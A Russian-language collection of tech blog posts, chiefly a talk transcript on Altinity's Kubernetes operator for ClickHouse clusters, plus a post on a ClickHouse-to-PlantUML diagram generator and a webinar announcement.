начнем знакомство с Symfony и ClickHouse (если точнее, то построим систему сбора статистики в ClickHouse). На базе подобной системы в будущем вы сможете строить и развивать решения Business Intelligence-систем и операционной статистики,
затем развернем API,
и с его помощью посмотрим на инструменты самой статистики.
Регистрация на первый день здесь.

Подробнее..

Генератор диаграмм таблиц ClickHouse для PlantUML

07.12.2020 14:17:59 | Автор: admin

Когда появляется необходимость документировать схемы баз данных, разные DBMS предоставляют свои инструменты для подобных задач. И большинство из них поддерживает DESC table_name, в том числе и ClickHouse. Однако, результат этой команды не столь выразителен, как хотелось бы.


DESCRIBE TABLE data_lrname        type      default_type   default_expression   comment   codec_expression   ttl_expressionPath        String                                                  ZSTD(3)Value       Float64                                                 Gorilla, LZ4Time        UInt32                                                  DoubleDelta, LZ4Date        Date                                                    DoubleDelta, LZ4Timestamp   UInt32                                                  DoubleDelta, LZ4

При этом, системные таблицы tables и columns содержат исчерпывающую информацию, объединив которую, можно получить вот такой симпатичный результат:



Вдохновение


Перед тем, как начать заботливо пилить собственное решение, лищённое фатальных недостатков, я поискал доступные варианты. И вот эта работа вдохновила меня начать собственный проект. Некоторые заготовки с благодарностью позаимствованы оттуда, с указанием авторства.


Что такое PlantUML


Несколько слов о том, что это представляет из себя этот продукт. Для наилучшего понимания советую зайти на официальную страницу. Если в двух словах, то это программа, которая преобразует текстовое описание диаграмм, например:


@startumlBob -> Alice : hello@enduml

в изображения



Поддерживаются очень многие форматы, например диаграммы прецедентов, классов, деятельности, компонентов и другие. Имеется плагин для Atlassian Confluence, позволяющий использовать макрос и генерировать изображения прямо на страницах wiki. Плагин для pandoc (и не один), для LaTeX, и многое другое.


Можно даже попробовать прямо на сайте.


Идея


Идея проста: в таблице system.tables содержится общая информация о таблицах, движках, ключах партиционирования, сортировки и сэмплирования, и др. А в другой системной таблице, system.columns, подробные данные о каждой из колонок. Комбинируя эти данные, можно легко сгенерировать часть, которая относится к колонкам и ключам таблиц. Это вторая половина каждой из таблиц на диаграмме.


Реализация


Про таблицы с колонками ясно, но есть ещё одна часть, которой я уделил отдельное внимание. Каждый из движков таблиц имеет параметры, которые необходимо распарсить. Например, ReplacingMergeTree содержит опциональный параметр Version. И параметры определяются исключительно движком. Дополнительные параметры необходимы для создания Replicated*MergeTree. Также для MaterializedView всегда создаётся таблица с данными. Эту таблицу не имеет смысла показывать отдельно, и она отображается как отдельная часть конфига для MV.


Это было одной из самых интересных для меня частей проекта. Пришлось познакомиться с токенами и парсингом текста, хотя записать строки и идентификаторы в массив настроек движка оказалось легко. А уже при помощи них записать пары ключ-значение. И это первая половина таблиц на диаграмме.


Также некоторые таблицы зависят друг от друга. Например, Distributed всегда указывает на локальные таблицы, а Buffer располагается перед *MergeTree таблицами, чтобы принимать мелкие вставки. И для этих таблиц отдельно устанавливаются отношения. На диаграмме они представлены стрелочками.


Результат


Сгенерированная диаграмма и изображение
@startuml' This diagram is generated with https://github.com/Felixoid/clickhouse-plantuml!define Table(x) class x << (T,mistyrose) >>!define View(x) class x << (V,lightblue) >>!define MaterializedView(x) class x << (m,orange) >>!define Distributed(x) class x << (D,violet) >>hide empty methodshide stereotypesskinparam classarrowcolor grayDistributed(graphite.data) {  ENGINE=**Distributed**  ..engine config..  cluster: graphite_data  database: graphite  table: data_lr  sharding_key: cityHash64(Path)  ==columns==  Path: String  Value: Float64  Time: UInt32  Date: Date  Timestamp: UInt32}Table(graphite.data_lr) {  ENGINE=**ReplicatedGraphiteMergeTree**  ..engine config..  rollup_config: graphite_rollup  ..replication..  zoo_path: /clickhouse/tables/graphite.data_lr/{shard}  replica: {replica}  ==columns==  Path: String <size:15><&signal></size>  Value: Float64  Time: UInt32 <size:15><&signal></size>  Date: Date <size:15><&list-rich></size>  Timestamp: UInt32  ..<size:15><&list-rich></size>partition key..  toYYYYMMDD(toStartOfInterval(Date, toIntervalDay(3)))  ..<size:15><&signal></size>sorting key..  Path, Time}Table(graphite.index) {  ENGINE=**ReplicatedReplacingMergeTree**  ..engine config..  version: Version  ..replication..  zoo_path: /clickhouse/tables/graphite.index/1  replica: {replica}  ==columns==  Date: Date <size:15><&list-rich></size> <size:15><&signal></size>  Level: UInt32 <size:15><&signal></size>  Path: String <size:15><&signal></size>  Version: UInt32  ..<size:15><&list-rich></size>partition key..  toYYYYMM(Date)  ..<size:15><&signal></size>sorting key..  Level, Path, Date}Table(graphite.tagged) {  ENGINE=**ReplicatedReplacingMergeTree**  ..engine config..  version: Version  ..replication..  zoo_path: /clickhouse/tables/graphite.tagged/1  replica: {replica}  ==columns==  Date: Date <size:15><&list-rich></size> <size:15><&signal></size>  Tag1: String <size:15><&signal></size>  Path: String <size:15><&signal></size>  Tags: Array(String)  Version: UInt32  ..<size:15><&list-rich></size>partition key..  toYYYYMM(Date)  ..<size:15><&signal></size>sorting key..  Tag1, Path, Date}graphite.data_lr -|> graphite.data@enduml


Ближайшие планы


Добавить тесты, в идеале интеграционные с поддержкой нескольких версий ClickHouse. А также добавить генерацию диаграмм для кластеров ClickHouse. Возможно, кто-то найдёт для себя интересные кейсы и составит issue. Например можно добавить опциональное описание кодеков сжатия, хотя для меня они пока не важны.


Вместо заключения


Я буду рад, если этот маленький проект позволит кому-то сэкономить время и предоставит возможность составить хорошую документацию.


Начать пользоваться можно, просто скачав модуль из pypi:


pip install clickhouse-plantumlclickhouse-plantuml -h

Исходный код находится здесь.


Спасибо, что потратили время на прочтение!

Подробнее..

Оператор в Kubernetes для управления кластерами БД. Владислав Клименко (Altinity, 2019)

14.10.2020 10:20:11 | Автор: admin


Доклад посвящен практическим вопросам разработки оператора в Kubernetes, проектированию его архитектуры и основных принципов функционирования.


В первой части доклада рассмотрим:


  • что такое оператор в Kubernetes и зачем он нужен;
  • как именно оператор упрощает управление сложными системами;
  • что оператор может, а что оператор не может.

Далее, перейдём к обсуждению внутреннего устройства оператора. Рассмотрим архитектуру и функционирование оператора по шагам. Подробно разберём:


  • взаимодействие между оператором и Kubernetes;
  • какие функции оператор берет на себя, а что делегирует в Kubernetes.

Рассмотрим управление шардами и репликами БД в Kubernetes.
Далее, обсудим вопросы хранения данных:


  • как работать с Persistent Storage с точки зрения оператора;
  • подводные камни использования Local Storage.

В заключительной части доклада рассмотрим практические примеры применения clickhouse-operator с Amazon или Google Cloud Service. Доклад строится на примере разработки и опыта эксплуатации оператора для ClickHouse.


Видео:



Меня зовут Владислав Клименко. Я хотел сегодня рассказать о нашем опыте разработки и эксплуатации оператора, причем это специализированный оператор для управления кластерами баз данных. На примере ClickHouse-operator для управления кластером ClickHouse.



Почему мы имеем возможность рассказывать об операторе и ClickHouse?


  • Мы занимаемся поддержкой и развитием ClickHouse.
  • На текущий момент мы стараемся потихоньку вносить свой посильный вклад в разработку ClickHouse. И являемся вторыми после Яндекса по объему сделанных изменений в ClickHouse.
  • Стараемся делать дополнительные проекты для экосистемы ClickHouse.

Об одном из таких проектов я хотел бы рассказать. Это про ClickHouse-operator для Kubernetes.


В своем докладе я хотел бы затронуть две темы:


  • Первая тема это как работает наш оператор по управлению базами данных ClickHouse в Kubernetes.
  • Вторая тема это как работает любой оператор, т. е. как он взаимодействует с Kubernetes.

При этом эти два вопроса будут пересекаться на протяжении всего моего доклада.



Кому будет интересно послушать то, что я пытаюсь рассказать?


  • Наиболее будет интересно тем, кто эксплуатирует операторы.
  • Или тем, кто хочет сделать свой, чтобы понимать, как оно работает внутри, как взаимодействует оператор с Kubernetes и какие подводные камни могут появиться.


Для того чтобы лучше всего понимать то, что мы сегодня будем обсуждать, было бы неплохо знать, как работает Kubernetes и иметь базовую подготовку по облачным технологиям.



Что такое ClickHouse? Это колоночная база данных со спецификой в онлайн-обработку аналитических запросов. И она полностью open source.


И нам важно знать только две вещи. Надо знать, что это база данных, поэтому то, что я буду рассказывать, будет применимо практически к любой базе данных. И то, что СУБД ClickHouse очень хорошо масштабируется, практически линейную дает масштабируемость. И поэтому состояние кластера это для ClickHouse состояние естественное. И нам наиболее интересно обсудить то, как кластер ClickHouse обслуживать в Kubernetes.



Зачем он там нужен? Почему мы не можем продолжать его эксплуатировать самостоятельно? И ответы частично технические, а частично организационные.


  • На практике мы все чаще и чаще встречаем такую ситуацию, когда в крупных компаниях уже практически все компоненты и так уже в Kubernetes. Остаются базы данных за пределами.
  • И все чаще задается вопрос: Можно ли это внутрь поместить?. Поэтому крупные компании стараются производить максимальную унификацию управления для того, чтобы быстро иметь возможность управлять своими хранилищами данных.
  • И особенно это помогает, если нужна максимальная возможность повторить тоже самое на новом месте, т. е. максимальная переносимость.


Насколько это просто или сложно? Это, конечно, можно делать руками. Но это не так, чтобы просто, потому что у нас складываются по сумме сложность управления самим Kubernetes, но при этом накладывается специфика ClickHouse. И получается такая агрегация.


И все вместе это дает достаточно большой набор технологий, которым управлять становиться уже достаточно сложно, потому что Kubernetes приносит свои каждодневные вопросы к эксплуатации, а ClickHouse приносит свои вопросы к каждодневной эксплуатации. Особенно, если у нас ClickHouse-ов несколько, и нам надо постоянно с ними что-то делать.



У ClickHouse при динамической конфигурации есть достаточно большое количество вопросов, которые создают постоянную нагрузку на DevOps:


  • Когда мы хотим поменять что-то в ClickHouse, например, добавить реплику, шард, то нам надо провести управление конфигурацией.
  • Потом поменять схему данных, потому что у ClickHouse специфичный способ шардирования. Там надо раскладывать схему данных, раскладывать конфигурации.
  • Надо настроить мониторинг.
  • Сбор логов для новых шардов, для новых реплик.
  • Озаботиться восстановлением.
  • И перезапуском.

Это такие рутинные работы, которые очень бы хотелось облегчить в эксплуатации.



Сам Kubernetes хорошо помогает в эксплуатации, но на базовых системных вещах.


Kubernetes хорошо облегчает и производит автоматизацию таких вещей, как:


  • Восстановление.
  • Перезапуск.
  • Управление системой хранения.

Это хорошо, это правильное направление, но он полностью не имеет представления о том, как эксплуатировать кластер базы данных.


Хочется большего, хочется, чтобы у нас работала вся база данных в Kubernetes.



Хочется получить что-то типа большой одной магической красной кнопки, на которую ты нажимаешь и у тебя разворачивается и поддерживается на протяжении всего жизненного цикла кластер с каждодневными задачами, которые надо решать. Кластер ClickHouse в Kubernetes.


И мы постарались сделать такое решение, которое помогло бы облегчить работу. Это ClickHouse-operator для Kubernetes от компании Altinity.



Оператор это программа, основная задача которой управлять другими программами, т. е. это управленец.


И он содержит шаблоны поведения. Можно это назвать кодифицированными знаниями о предметной области.


И основная его задача это облегчить жизнь DevOps и уменьшить микроменеджмент, чтобы он (DevOps) уже мыслил терминами высокого уровня, т. е. чтобы он (DevOps) не занимался микроменеджментом, чтобы не производил настройку всех деталей вручную.


И как раз оператор это робот помощник, который борется с микрозадачами и помогает DevOps.



Зачем нужен оператор? Он особенно хорошо себя показывает в двух вопросах:


  • Когда у специалиста, который занимается ClickHouse, недостаточно опыта, но эксплуатировать ClickHouse уже надо, оператор облегчает эксплуатацию и позволяет эксплуатировать кластер ClickHouse с достаточно сложной конфигурацией, при этом не очень вдаваясь в подробности о том, как это все работает внутри. Просто ему даешь высокоуровневые задачи, и это работает.
  • И вторая задача, в которой он себя наиболее хорошо проявляет, это когда надо автоматизировать большое количество типовых задач. Снимает микрозадачи с сисадминов.


Это больше всего надо либо тем, кто только начинает свой путь, либо тем, кому надо много заниматься автоматизацией.



В чем же отличие подхода, основанного на операторах, от других систем? Есть же Helm. Он же тоже помогает поставить ClickHouse, можно нарисовать helm charts, которые даже поставят целый кластер ClickHouse. В чем тогда отличие между оператором и от того же, например, Helm?


Основное фундаментальное отличие в том, что Helm это управление пакетами, а оператор шагает дальше. Это сопровождение всего жизненного цикла. Это не только установка, это каждодневные задачи, которые включают себя масштабирование, шардирование, т. е. все то, что надо выполнять в процессе жизненного цикла (если надо, то и удаление тоже) это все решает оператор. Он пытается автоматизировать и обслуживать весь жизненный цикл программного обеспечения. В этом его фундаментальное отличие от других решений, которые представлены.



Это была вступительная часть, давайте пойдем дальше.


Как мы строим свой оператор? Мы пытаемся подойти к вопросу, чтобы управлять кластером ClickHouse как одним ресурсом.


Вот у нас в левой части картины есть входные данные. Это YAML со спецификацией кластера, который классическим образом через kubectl передается в Kubernetes. Там у нас оператор это подхватывает, делает свою магию. И на выходе у нас получается вот такая схема. Это имплементация ClickHouse в Kubernetes.


И дальше мы будем потихоньку смотреть, как именно работает оператор, какие типовые задачи можно решать. Мы рассмотрим только типовые задачи, потому что у нас ограниченное время. И будет рассказано не обо всем, что может решать оператор.



Давайте исходить из практики. Наш проект это полностью open source, поэтому можно посмотреть на GitHub, как он работает. И можно исходить из соображений, если хочется просто запустить, то с Quick Start Guide можно начинать.


Если хочется детально разбираться, то мы стараемся поддерживать документацию в более-менее приличном виде.



Давайте начнем с практической задачи. Первая задача, с чего мы все хотим начать, это запустить первый пример хоть как-нибудь. Как при помощи оператора запустить ClickHouse, даже не очень зная, как он работает? Пишем манифест, т.к. все общение с k8s это общение через манифесты.



Вот такой сложный манифест. То, что у нас выделено красным, это то, на чем надо акцентироваться. Мы оператора просим создать кластер по имени demo.


Пока что это базовые примеры. Storage еще не описывается, но мы к storage вернемся чуть позже. Пока что в динамике будем наблюдать за развитием кластера.


Создали мы этот манифест. Скармливаем его нашему оператору. Он поработал, сделал магию.



Смотрим в консоль. Интерес вызывают три компонента это Pod, два Service-a, StatefulSet.


Оператор отработал, и мы можем посмотреть, что именно он создал.



Создает он примерно такую схему. У нас есть StatefulSet, Pod, ConfigMap для каждой реплики, ConfigMap для всего кластера. Обязательно сервисы как точки входа в кластер.


Сервисы это центральный Load Balancer Service и можно еще для каждой реплики, для каждого шарда.


Вот у нас базовый кластер выглядит примерно таким образом. Он из одной единственной ноды.



Пойдем дальше, будем усложнять. Надо кластер шардировать.



У нас задачи растут, начинается динамика. Мы хотим добавить шард. Следим за развитием. Меняем нашу спецификацию. Указываем, что мы хотим два шарда.


Это тот же самый файл, который у нас динамически развивается с ростом системы. Storage нет, storage будет дальше рассмотрен, это отдельная тема.


Скармливаем YAML-оператор и смотрим, что получается.



Оператор подумал и сделал следующие сущности. У нас уже два Pod, три Service-a и, внезапно, 2 StatefulSet-а. Почему 2 StatefulSet-а?



На схеме было вот так это у нас первоначальное состояние, когда один у нас был pod.



Стало вот так. Пока что все просто, оно продублировалось.



И почему же StatefulSet стало два? Тут надо отвлечься и обсудить вопрос, как в Kubernetes происходит управление Podами.


Есть такой объект под названием StatefulSet, который позволяет делать набор Podов из шаблона. Тут ключевой фактор это Template. И можно в одном StatefulSet запускать по одному шаблону много Podов. И ключевой фразой тут является по одному шаблону много Podов.


И был большой соблазн сделать весь кластер, упаковав в один StatefulSet. Это будет работать, в этом нет никаких проблем. Но есть один нюанс. Если мы хотим собрать гетерогенный кластер, т. е. из нескольких версий ClickHouse, то тут у нас начинаются вопросы. Да, StatefulSet может сделать rolling update, да там можно накатывать новую версию, объяснять, что нужно попробовать не больше столько-то нодов одновременно.


Но если экстраполировать задачу и сказать, что мы хотим сделать полностью гетерогенный кластер и хотим не со старой версии поменять на новую при помощи rolling update, а просто хотим создать кластер гетерогенный как в части разных версий ClickHouse, так в части разного storage. Мы хотим, например, какие-то реплики сделать на отдельных дисках, на медленных, в общем, полностью построить гетерогенный кластер. И из-за того, что StatefulSet делает из одного шаблона стандартизованное решение, поэтому нет возможности это сделать.


После некоторого раздумья было принято решение, что мы делаем вот так. У нас каждая реплика в своем StatefulSet. Есть некоторые недостатки у этого решения, но на практике это все полностью в себе инкапсулирует оператор. И есть куча достоинств. Мы можем строить полностью такой кластер, какой хотим, например абсолютно гетерогенный. Поэтому в кластере, в котором у нас два шарда по одной реплике, у нас будет 2 StatefulSetа и 2 Podа именно потому, что мы избрали такой подход из-за вышеозвученным причинам для возможности построить гетерогенный кластер.



Вернемся к практическим задачам. В нашем кластере надо настраивать пользователей, т.е. надо производить какое-то конфигурирование ClickHouse в Kubernetes. Оператор для этого предоставляет все возможности.



Можно прямо в YAML писать то, что мы хотим. Все конфигурационные опции прямиком мапятся из этого YAML в конфиги ClickHouse, которые потом раскладываются по всему кластеру.


Можно и вот так писать. Это для примера. Пароль можно шифрованный сделать. Поддерживаются абсолютно все конфигурационные опции ClickHouse. Здесь только пример.


Конфигурация по кластеру распространяется как ConfigMap. На практике апдейт ConfigMap происходит не мгновенно, поэтому если большой кластер, то процесс пропихивания конфигурации занимает некоторое время. Но все это очень удобно в эксплуатации.



Усложняем задачу. Кластер развивается. Мы хотим реплицировать данные. Т. е. у нас есть уже два шарда, по одной реплике, настроены пользователи. Мы растем и хотим заниматься репликацией.



Что нам нужно для репликации?


Нам нужен ZooKeeper. В ClickHouse репликация построена с использованием ZooKeeper. ZooKeeper нужен для того, чтобы у различных реплик ClickHouse был консенсус относительно того, какие блоки данных на каком ClickHouse есть.


ZooKeeper можно любой использовать. Если есть внешний ZooKeeper у предприятия, то его можно использовать. Если нет, то можно поставить из нашего репозитория. Есть установщик, который все это дело облегчает.



И схема взаимодействия всей системы получается вот такая. У нас есть Kubernetes как платформа. На нем исполняется оператор ClickHouse. ZooKeeper я изобразил вот здесь. И оператор взаимодействует как с ClickHouse, так и с ZooKeeper. Т. е. получается взаимодействие.


И все это надо для того, чтобы ClickHouse удачно реплицировал данные в k8s.



Давайте теперь посмотрим на саму задачу, на то, как будет выглядеть манифест для репликации.


Мы к нашему манифесту добавляем две секции. Первая это где брать ZooKeeper, который может быть как внутри Kubernetes, так и внешний. Это просто описание. И заказываем реплики. Т.е. мы хотим две реплики. Итого на выходе у нас должно быть 4 podа. Про storage мы помним, он вернется чуть дальше. Storage это отдельная песня.



Было вот так.



Становится вот так. Добавляются реплики. 4-я не помещалась, мы верим, что их там может быть много. И сбоку добавляется ZooKeeper. Схемы усложняются.



И настало время добавлять следующую задачу. Будем добавлять Persistent Storage.


По Persistent Storage у нас есть различные варианты исполнения.


В случае, если мы исполняемся в cloud-провайдере, например, используя Amazon, Google, то есть большой соблазн воспользоваться облачным storage. Это очень удобно, это хорошо.


И есть второй вариант. Это для local storage, когда у нас диски локальные на каждой ноде. Этот вариант намного сложнее в исполнении, но при этом он более производительный.



Давайте посмотрим, что у нас относительно cloud storage.


Есть достоинства. Это очень просто конфигурировать. Мы просто заказываем у облачного провайдера, что дай нам, пожалуйста, storage такой-то емкости, такого-то класса. Классы расписаны провайдерами самостоятельно.


И есть недостаток. Для кого-то это некритичный недостаток. Конечно, там будут какие-то накладки по производительности. Это очень удобно в работе, надежно, но есть некие потенциальные просадки по производительности.



А т.к. ClickHouse акцентируется именно на производительности, можно даже сказать, что выжимает все, что можно, поэтому очень многие клиенты стараются выжать максимум производительности.



А чтобы выжать максимум, нам нужен local storage.


Kubernetes предоставляет три абстракции для использования local storage в Kubernetes. Это:


  • EmptyDir
  • HostPath.
  • Local

Рассмотрим, чем они различаются, чем они похожи.


Во-первых, во всех трех подходах у нас storage это локальные диски, которые находятся на том же самой физической k8s ноде. Но у них есть некоторые различия.



Начнем с самого простого, т. е. с emptyDir. Что это на практике такое? Это мы у своей спецификации просим систему контейнеризации (чаще всего это докер) предоставить нам доступ в папку к локальному диску.


На практике докер где-то там у себя по своим собственным путям создает временную папку, называет ее длинным хэшем. И предоставляет интерфейс доступа к ней.


Как это будет работать по производительности? Это будет работать со скоростью локального диска, т.е. это полностью доступ к своему винту.


Но у этого дела есть свой недостаток. Persistent в этом деле достаточно сомнительный. При первом же движении докера с контейнерами Persistent теряется. Если Kubernetes захочется по какой-то причине перенести этот Pod на другой диск, то данные потеряются.


Такой подход хорошо для тестов, потому что скорость он показывает уже нормальную, но при этом для чего-то серьезного этот вариант не подходит.



Поэтому есть второй подход. Это hostPath. Если посмотреть предыдущий слайд и этот, то можно увидеть одно только различие. У нас папка выехала из докера прямо на Kubernetes ноду. Тут немного попроще. Мы прямо прописываем путь по локальной файловой системе, где мы бы хотели хранить свои данные.


Достоинства у этого способа есть. Это уже настоящий Persistent, причем классический. У нас на диске будут записаны данные по какому-то адресу.


Есть и недостатки. Это сложность управления. Наш Kubernetes может захотеть Pod передвинуть на другую физическую ноду. И тут уже вступает в дело DevOps. Он должен правильно объяснить всей системе, что передвигать эти podы можно только лишь на такие ноды, на которых у тебя по этим путям что-то смонтировано, и не больше одной ноды за раз. Это достаточно сложно.


Специально для этих целей, мы у себя в операторе сделали шаблоны для того, чтобы всю эту сложность спрятать. И можно было бы просто сказать: Я хочу, чтобы был у меня один instance ClickHouse на каждую физическую ноду и по такому-то пути.



Но эта необходимость нужна не только нам, поэтому джентльмены из самого Kubernetes тоже понимают, что людям хочется иметь доступ к физическим дискам, поэтому они предоставляют третий уровень.


Он называется local. Разницы от предыдущего слайда практически никакой. Только раньше надо было руками проводить, что у нас нельзя эти podы переносить с ноды на ноду, потому что они должны быть прицеплены по такому-то пути к локальному физическому диску, а теперь все эти знания инкапсулируется в сам Kubernetes. И получается намного проще конфигурировать.



Вернемся к нашей практической задаче. Вернемся к YAML template. Тут у нас появился настоящий storage. Мы вернулись к этому. Мы задаем классический VolumeClaim template как в k8s. И описываем, какой storage мы хотим.


После этого k8s запросит storage. Выделит нам его в StatefulSet. И в итоге это получится в распоряжении ClickHouse.



Была у нас вот такая схема. Наш Persistent Storage был красным, что как бы намекало на то, что его надо бы сделать.



И он становится зеленым. Теперь схема кластера ClickHouse on k8s полностью финализирована. У нас есть шарды, реплики, ZooKeeper, есть настоящий Persistent, который реализован тем или иным способом. Схема уже полностью работоспособная.



Мы продолжаем жить дальше. У нас кластер развивается. И Алексей старается, и выпускает новую версию ClickHouse.


Возникает практическая задача протестировать новую версию ClickHouse на нашем кластере. Причем, естественно, не хочется его накатывать весь, хочется где-то в дальнем углу в одну реплику поставить новую версию, а, может быть, не одну новую версию, а сразу две, потому что они выходят частенько.


Что мы можем сказать по этому поводу?



Тут у нас есть как раз и такая возможность. Это шаблоны podов. Можно расписать, наш оператор полностью позволяет построить кластер гетерогенный. Т.е. конфигурировать, начиная от всех реплик кучей, заканчивая каждой персональной репликой тем, какой версии мы хотим ClickHouse, какой версии мы хотим storage. Мы можем полностью сконфигурировать кластер такой конфигурации, как нам надо.



Немножко будем уже углубляться внутрь. До этого мы говорили, как работает ClickHouse-operator применительно к специфике ClickHouse.


Теперь я хотел бы сказать пару слов о том, как работает вообще любой оператор, а также о том, как взаимодействует с K8s.



Рассмотрим взаимодействие с K8s для начала. Что происходит, когда мы делаем kubectl apply? У нас через API в etcd появляются наши объекты.



К примеру базовые объекты Kubernetes: pod, StatefulSet, service и так далее по списку.


При этом ничего физического еще не происходит. Эти объекты надо материализовать в кластере.



Для этого появляется контроллер. Контроллер это специальный компонент k8s, который умеет материализовывать эти описания. Он знает, как и что надо делать физически. Он знает, как запускать контейнеры, что там надо настроить для того, чтобы заработал сервер.



И он материализует наши объекты в K8s.


Но мы хотим оперировать не только pod-ами, StatefulSet-ами, мы хотим создать ClickHouseInstallation, т. е. объект типа ClickHouse, чтобы оперировать им как единым целом. Пока что такой возможности нет.



Но у K8s есть следующая приятная вещь. Мы хотим, чтобы у нас появилась где-то там вот такая сложная сущность, в которой был бы собран из podов и StatefulSet наш кластер.



И что для этого надо сделать? Во-первых, на сцену выходит Custom Resource Definition. Что это такое? Это описание для K8s, что у тебя будет еще один тип данных, что мы к pod, StatefulSet хотим добавить кастомный ресурс, который будет сложным внутри. Это описание структуры данных.



Мы его тоже через kubectl apply туда отправляем. Kubernetes его радостно забрал.


И теперь у нас в хранилище, у объекта в etcd появляется возможность записать кастомный ресурс под названием ClickHouseInstallation.


Но пока что ничего дальше не произойдет. Т. е. если мы сейчас создадим YAML-файл, который мы рассматривали с описанием шард, реплик и скажем kubectl apply, то Kubernetes его примет, положит в etcd и скажет: Отлично, но что с ним делать, не знаю. Как обслуживать ClickHouseInstallation я не знаю.



Соответственно, нам нужен кто-то, кто поможет Kubernetes обслуживать новый тип данных. Слева у нас есть штатный контроллер Kubernetes, который работает со штатными типами данных. А справа у нас должен появиться кастомный контроллер, который умеет работать с кастомными типами данных.


И по-другому он называется оператор. Я его здесь специально вынес за Kubernetes, потому что он может исполняться и снаружи K8s. Чаще всего, конечно, все операторы исполняются в Kubernetes, но ничего не мешает ему стоять снаружи, поэтому тут он специально вынесен наружу.



И уже в свою очередь кастомный контроллер, он же оператор, взаимодействует с Kubernetes через API. Он уже умеет взаимодействовать с API. И он уже знает, как из кастомного ресурса материализовать сложную схему, которую мы хотим сделать. Именно этим и занимается оператор.



Как работает оператор? Давайте заглянем в правую часть, чтобы узнать, как он это делает. Узнаем, как оператор все это материализует и как дальше происходит взаимодействие с K8s.



Оператор это программа. Она событийно ориентированная. Оператор при помощи Kubernetes API подписывается на события. В Kubernetes API есть точки входа, в которых можно подписаться на события. И если что-то в K8s меняется, то Kubernetes посылает события всем желающим, т.е. кто на эту точку API подписался, тот и будет получать уведомления.


Оператор подписывается на события, и должен делать какую-то реакцию. Его задача это реагировать на появляющиеся события.



События генерируются некими апдейтами. Приходит наш YAML-файл с описанием ClickHouseInstallation. Он через kubectl apply пошел в etcd. Там сработал event, в итоге этот event пришел в ClickHouse-operator. Оператор получил это описание. И он что-то должен делать. Если пришел апдейт на объект ClickHouseInstallation, то надо апдейтить кластер. И задача оператора это апдейтить кластер.



Что он делает? Во-первых, надо составить план действий, что мы будем делать с этим апдейтом. Апдейты могут быть очень маленькими, т.е. маленькие в YAML-исполнении, но могут влечь за собой очень большие изменения на кластере. Поэтому оператор создает план, и дальше он его придерживается.



Он начинает согласно этому плану варить эту структуру внутри, чтобы материализовать podы, сервисы, т.е. делать то, что его основной задачей и является. Это как строить кластер ClickHouse в Kubernetes.



Теперь давайте коснемся такой интересной вещи. Это разделение ответственности между Kubernetes и оператором, т.е. что делает Kubernetes, что делает оператор и как они взаимодействуют между собой.


Kubernetes отвечает за системные вещи, т.е. за базовый набор объектов, который можно интерпретировать как system-scope. Kubernetes знает, как запускать podы, как рестартить контейнеры, как делать mount volumes, как работать с ConfigMap, т.е. все, что можно назвать системой.


Операторы оперируют в предметных областях. Каждый оператор делается для своей предметной области. Мы сделали для ClickHouse.


И оператор взаимодействует именно в терминах предметной области таких, как добавить реплику, сделать схему, настроить мониторинг. Получается такое разделение.



Давайте рассмотрим на практическом примере, как это разделение ответственности происходит, когда мы делаем действие добавить реплику.


В оператор приходит задача добавить реплику. Что оператор делает? Оператор рассчитает, что надо новый сделать StatefulSet, в котором надо описать такие-то шаблоны, volume claim.



Он это все подготовил и передает дальше в K8s. Говорит, что ему надо ConfigMap, StatefulSet, Volume. Kubernetes отрабатывает. Он материализует базовые единицы, которыми он оперирует.



И дальше в дело вступает снова ClickHouse-operator. У него уже есть физический pod, на котором можно уже что-то делать. И ClickHouse-operator снова работает в терминах предметной области. Т.е. конкретно ClickHouse для того, чтобы включить реплику в кластер надо, во-первых, настроить схему данных, которая в этом кластере есть. А, во-вторых, эту реплику надо включить в мониторинг, чтобы она хорошо прослеживалась. Уже оператор это настраивает.



И только после этого уже в дело вступает сам ClickHouse, т.е. еще одна более высокоуровневая сущность. Это уже база данных. Она имеет свой instance, очередную реплику сконфигурированную, которая готова вступить в кластер.


Получается цепочка выполнения и разделения ответственности при добавлении реплики достаточно длинной.



Продолжаем наши практические задачи. Если кластер уже есть, то можно осуществить миграцию конфигурации.



Мы сделали так, что в существующий xml, которую ClickHouse понимает, можно прокидывать насквозь.



Можно сделать тонкую настройку ClickHouse. Как раз zoned deployment это то, о чем я рассказывал при объяснении hostPath, local storage. Это как правильно сделать zoned deployment.



Следующая практическая задача это мониторинг.



Если у нас кластер меняется, то надо периодически настраивать мониторинг.


Давайте рассмотрим схему. Мы зеленые стрелки тут уже рассмотрели. Теперь давайте рассмотрим красные стрелки. Это то, как мы хотим мониторить наш кластер. Как метрики из кластера ClickHouse попадают в Prometheus, а потом в Grafana.



А в чем сложность с мониторингом? Почему это выносится как какое-то достижение? Сложность именно в динамике. Когда у нас кластер один и он статический, то можно единожды настроить мониторинг и больше не заморачиваться.


Но если у нас кластеров много, или постоянно что-то меняется, то процесс динамический. И постоянно заниматься перенастройкой мониторинга это трата ресурсов и времени, т.е. даже просто лень. Это надо автоматизировать. Сложность именно в динамике процесса. И оператор это очень хорошо автоматизирует.



Как у нас развивался кластер? В начале он был такой.



Потом он был такой.



В итоге он стал вот таким.


А мониторинг автоматически делается оператором. Единая точка входа.



И мы всего лишь на выходе смотрим в Grafana dashboard, как там внутри кипит жизнь нашего кластера.


Кстати, Grafana dashboard тоже распространяется с нашим оператором прямо в исходниках. Можно подключать и пользоваться. Вот этот скриншот мне наши DevOps дали.



Куда бы мы хотели двигаться дальше? Это:


  • Развивать автоматизацию тестирования. Основная задача это автоматизированное тестирование новых версий.
  • Также мы очень хотим автоматизировать интеграцию с ZooKeeper. И в планах интегрироваться с ZooKeeper-operator. Т.е. для ZooKeeper написан оператор и логично, чтобы два оператора начали интегрироваться для построения более удобного решения.
  • Мы хотим сделать более сложные проверки жизнедеятельности.
  • Зеленым я выделил то, что у нас на подходе наследование Templates DONE, т. е. со следующим релизом оператора у нас уже будет наследование шаблонов. Это мощный инструмент, который позволяет строить сложные конфигурации из кусочков.
  • И мы хотим автоматизацию сложных задач. Основная из которых это Re-sharding.


Давайте проведем промежуточные итоги.



Что мы получаем на выходе? И стоит ли этим заниматься или не стоит? Надо ли вообще пытаться затащить базу данных в Kubernetes и применять оператор в целом и Alitnity-оператор в частности.


На выходе мы получаем:


  • Существенное упрощение и автоматизацию конфигурирования, развертывания, а также сопровождения.
  • Сразу встроенный мониторинг.
  • И готовые к использованию кодифицированные шаблоны для сложных ситуаций. Уже действие типа добавить реплику не надо делать руками. Это делает оператор.


Остался только последний вопрос. У нас уже база данных в Kubernetes, виртуализация. Что с производительностью такого решения, особенно в ключе того, что ClickHouse оптимизирован под производительность?


Ответ все нормально! Я не буду подробно расписывать, это тема отдельного доклада.



